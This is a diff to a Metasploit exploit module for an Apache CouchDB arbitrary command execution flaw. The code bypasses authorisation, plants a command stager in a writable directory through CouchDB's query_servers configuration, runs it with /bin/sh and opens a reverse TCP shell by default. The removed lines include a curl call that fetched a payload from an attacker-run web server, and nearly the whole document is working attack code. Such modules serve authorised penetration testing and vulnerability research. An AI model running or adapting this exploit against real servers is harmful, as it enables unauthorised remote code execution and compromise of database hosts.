Use cmdstager method, update function to clean file, delete lots of useless code and etc.

modules/exploits/linux/http/apache_couchdb_cmd_exec.rb

@@ -7,11 +7,11 @@ class MetasploitModule < Msf::Exploit::Remote
   Rank = ExcellentRanking
 
   include Msf::Exploit::Remote::HttpClient
-  include Msf::Exploit::Remote::HttpServer
+  include Msf::Exploit::CmdStager
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Apache Couchdb Arbitrary Command Execution',
+      'Name'           => 'Apache CouchDB Arbitrary Command Execution',
       'Description'    => %q{
         CouchDB administrative users can configure the database server via HTTP(S).
         Some of the configuration options include paths for operating system-level binaries that are subsequently launched by CouchDB.
@@ -32,19 +32,18 @@ class MetasploitModule < Msf::Exploit::Remote
       ],
       'DisclosureDate' => 'Apr 6 2016',
       'License'        => MSF_LICENSE,
-      'Platform'       => 'unix',
+      'Platform'       => 'linux',
-      'Arch'           => ARCH_CMD,
+      'Arch'           => [ARCH_X86, ARCH_X64],
       'Privileged'     => false,
-      'Payload'        =>
-        {
-          'Space'       => 4096, # Has into account Apache request length and base64 ratio
-          'DisableNops' => true
-        },
       'DefaultOptions' => {
-        'PAYLOAD'         => 'cmd/unix/reverse_bash'
+        'PAYLOAD'         => 'linux/x64/shell_reverse_tcp',
+        'CMDSTAGER::FLAVOR' => 'curl'
         },
+      'CmdStagerFlavor'     => ['curl', 'wget'],
       'Targets'        => [
-        ['Automatic',            {} ]
+        ['Automatic',                             {} ],
+        ['Apache CouchDB version 1.x',            {} ],
+        ['Apache CouchDB version 2.x',            {} ]
       ],
       'DefaultTarget'  => 0
     ))
@@ -57,7 +56,8 @@ class MetasploitModule < Msf::Exploit::Remote
     ])
     register_advanced_options(
       [
-        OptInt.new('Attempts', [false, 'The number of attempts to execute the payload.'])
+        OptInt.new('Attempts', [false, 'The number of attempts to execute the payload.']),
+        OptString.new('WritableDir', [true, 'Writable directory to write temporary payload on disk.', '/tmp'])
       ])
   end
 
@@ -76,14 +76,20 @@ class MetasploitModule < Msf::Exploit::Remote
 
   def exploit
     @exploit_flag = false
-    fail_with(Failure::Unknown, "Something went horribly wrong and we couldn't access the server.") unless get_version
+    fail_with(Failure::Unknown, "Something went horribly wrong and we couldn't continue to exploit.") unless get_version
     version = @version
 
     vprint_good("#{peer} - Authorization bypass successful") if auth_bypass
 
-    start_http_server
+    print_status("Generating #{datastore['CMDSTAGER::FLAVOR']} command stager")
+    @cmdstager = generate_cmdstager(
+      'Path'   => "/#{Rex::Text.rand_text_alpha_lower(8)}",
+      :temp    => datastore['WritableDir'],
+      :file    => File.basename(cmdstager_path),
+      :nospace => true
+    ).join(';')
 
-    if !datastore['Attempts'] || datastore['Attempts'] == 0
+    if !datastore['Attempts'] || datastore['Attempts'] <= 0
       attempts = 1
     else
       attempts = datastore['Attempts']
@@ -96,6 +102,9 @@ class MetasploitModule < Msf::Exploit::Remote
       # break if we get the shell
       break if @exploit_flag
     end
+
+    print_status("Shutting down the web service...")
+    stop_service
   end
 
   # CVE-2017-12635
@@ -149,7 +158,13 @@ class MetasploitModule < Msf::Exploit::Remote
     end
 
     if res && res.code == 200
-      res_json = res.get_json_document if res
+      res_json = res.get_json_document
+
+      if res_json.empty?
+        vprint_bad("#{peer} - Cannot parse the response, seems like it's not CouchDB.")
+        return false
+      end
+
       @version = res_json['version'] if res_json['version']
       return true
     end
@@ -159,19 +174,29 @@ class MetasploitModule < Msf::Exploit::Remote
   end
 
   def send_payload(version)
-    vprint_status("#{peer} - version is #{version}") if version
+    vprint_status("#{peer} - CouchDB version is #{version}") if version
 
+    version = Gem::Version.new(@version)
     case
-    when version < '1.7.0'
+    # Version not found
+    when version.version.empty?
+
+      vprint_warning("#{peer} - Cannot retrieve the version of CouchDB.")
+      # if target set Automatic, exploit failed.
+      if target == targets[0]
+        fail_with(Failure::NoTarget, "#{peer} - Couldn't retrieve the version automaticly, set the target manually and try again.")
+      elsif target == targets[1]
         payload1
-    when version.between?('2.0.0','2.1.0')
+      elsif target == targets[2]
         payload2
-    when version >= '1.7.0' || version > '2.1.0'
+      end
+
+    when version < Gem::Version.new('1.7.0')
+      payload1
+    when version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0'))
+      payload2
+    when version >= Gem::Version.new('1.7.0') || Gem::Version.new('2.1.0')
       fail_with(Failure::NotVulnerable, "#{peer} - The target is not vulnerable.")
-    else
-      # Version not found, try randomly payload
-      vprint_warning("#{peer} - Cannot retrive the version, exploiting randomly...")
-      send([:payload1,:payload2].sample)
 
     end
 
@@ -186,14 +211,14 @@ class MetasploitModule < Msf::Exploit::Remote
     rand_db = Rex::Text.rand_text_alpha_lower(4..12)
     rand_doc = Rex::Text.rand_text_alpha_lower(4..12)
     rand_hex = Rex::Text.rand_text_hex(32)
-    rand_file = "/tmp/" + Rex::Text.rand_text_alpha_lower(8..16)
+    rand_file = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8..16)}"
     @file_to_clean = rand_file
 
     res = send_request_cgi(
       'uri'           => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd1}"),
       'method'        => 'PUT',
       'authorization' => @auth,
-      'data'          => %Q{"curl #{@service_url} > #{rand_file}"}
+      'data'          => %Q{"echo '#{@cmdstager}' > #{rand_file}"}
 
     )
 
@@ -222,7 +247,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'uri'           => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd2}"),
       'method'        => 'PUT',
       'authorization' => @auth,
-      'data'          => %Q{"/bin/bash #{rand_file}"}
+      'data'          => %Q{"/bin/sh #{rand_file}"}
     )
 
     res = send_request_cgi(
@@ -232,6 +257,8 @@ class MetasploitModule < Msf::Exploit::Remote
       'ctype'         => 'application/json',
       'data'          => %Q{{"language":"#{rand_cmd2}","map":""}}
     )
+
+
   end
 
   # payload2 is for the version of couchdb below 2.1.1
@@ -243,7 +270,7 @@ class MetasploitModule < Msf::Exploit::Remote
     rand_doc = Rex::Text.rand_text_alpha_lower(4..12)
     rand_tmp = Rex::Text.rand_text_alpha_lower(4..12)
     rand_hex = Rex::Text.rand_text_hex(32)
-    rand_file = "/tmp/" + Rex::Text.rand_text_alpha_lower(8..16)
+    rand_file = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8..16)}"
 
     @file_to_clean = rand_file
 
@@ -259,7 +286,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'uri'           => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd1}"),
       'method'        => 'PUT',
       'authorization' => @auth,
-      'data'          => %Q{"curl #{@service_url} > #{rand_file}"}
+      'data'          => %Q{"echo '#{@cmdstager}' > #{rand_file}"}
 
     )
 
@@ -288,7 +315,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'uri'           => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd2}"),
       'method'        => 'PUT',
       'authorization' => @auth,
-      'data'          => %Q{"/bin/bash #{rand_file}"}
+      'data'          => %Q{"/bin/sh #{rand_file}"}
 
     )
 
@@ -301,61 +328,47 @@ class MetasploitModule < Msf::Exploit::Remote
     )
   end
 
+  def cmdstager_path
+    @cmdstager_path ||=
+      "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8)}"
+  end
+
+  #
+  # Override methods
+  #
+
   def on_request_uri(cli, request)
-    if (not @pl)
+    if (not @cmdstager)
       print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
       return
     end
 
-    vprint_status("request headers is #{request.headers['User-Agent']}") if request.headers['User-Agent']
+    print_status("Sending payload #{datastore['PAYLOAD']}")
-
+    super
-    if request.headers['User-Agent'] !~ /curl/
-      print_status("Sending 404 for User-Agent #{request.headers['User-Agent']}")
-      send_not_found(cli)
-      return
-    end
-
-    print_status("#{rhost}:#{rport} - Sending the payload to the server...")
-    send_response(cli, @pl)
 
   end
 
-  def start_http_server
+  def start_service(opts = {})
-    @pl = payload.encoded
+    super
-
+    @service_url = get_uri
-    resource_uri = datastore['URIPATH'] || random_uri
-    if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
-      srv_host = datastore['URIHOST'] || Rex::Socket.source_address(rhost)
-    else
-      srv_host = datastore['SRVHOST']
   end
 
-    # do not use SSL for the attacking web server
-    if datastore['SSL']
-      ssl_restore = true
-      datastore['SSL'] = false
-    end
-
-    @service_url = "http://#{srv_host}:#{datastore['SRVPORT']}/#{resource_uri}"
-    service_url_payload = srv_host + resource_uri
-    vprint_status("#{rhost}:#{rport} - Starting up our web service on #{@service_url} ...")
-    start_service({'Uri' => {
-      'Proc' => Proc.new { |cli, req|
-        on_request_uri(cli, req)
-      },
-      'Path' => resource_uri
-    }})
-    datastore['SSL'] = true if ssl_restore
-    connect
-  end
 
   # mark the exploit successful and clean temp file created during exploiting
   def on_new_session(client)
     # mark flag be true to stop exploit.
     @exploit_flag = true
+
+    # CmdStager should rm the file, but it blocks on the payload, so we do it
+    @file_to_clean << " #{cmdstager_path}"
     vprint_status("Cleaning temp file #{@file_to_clean}")
     begin
+      if client.type.eql? 'meterpreter'
+        client.core.use 'stdapi' unless client.ext.aliases.include? 'stdapi'
+        client.fs.file.rm @file_to_clean
+      else
         client.shell_command_token("rm #{@file_to_clean}")
+      end
       vprint_good("Cleaned temp file successful.")
     rescue
       print_warning("Need to clean the temp file #{@file_to_clean} manually.")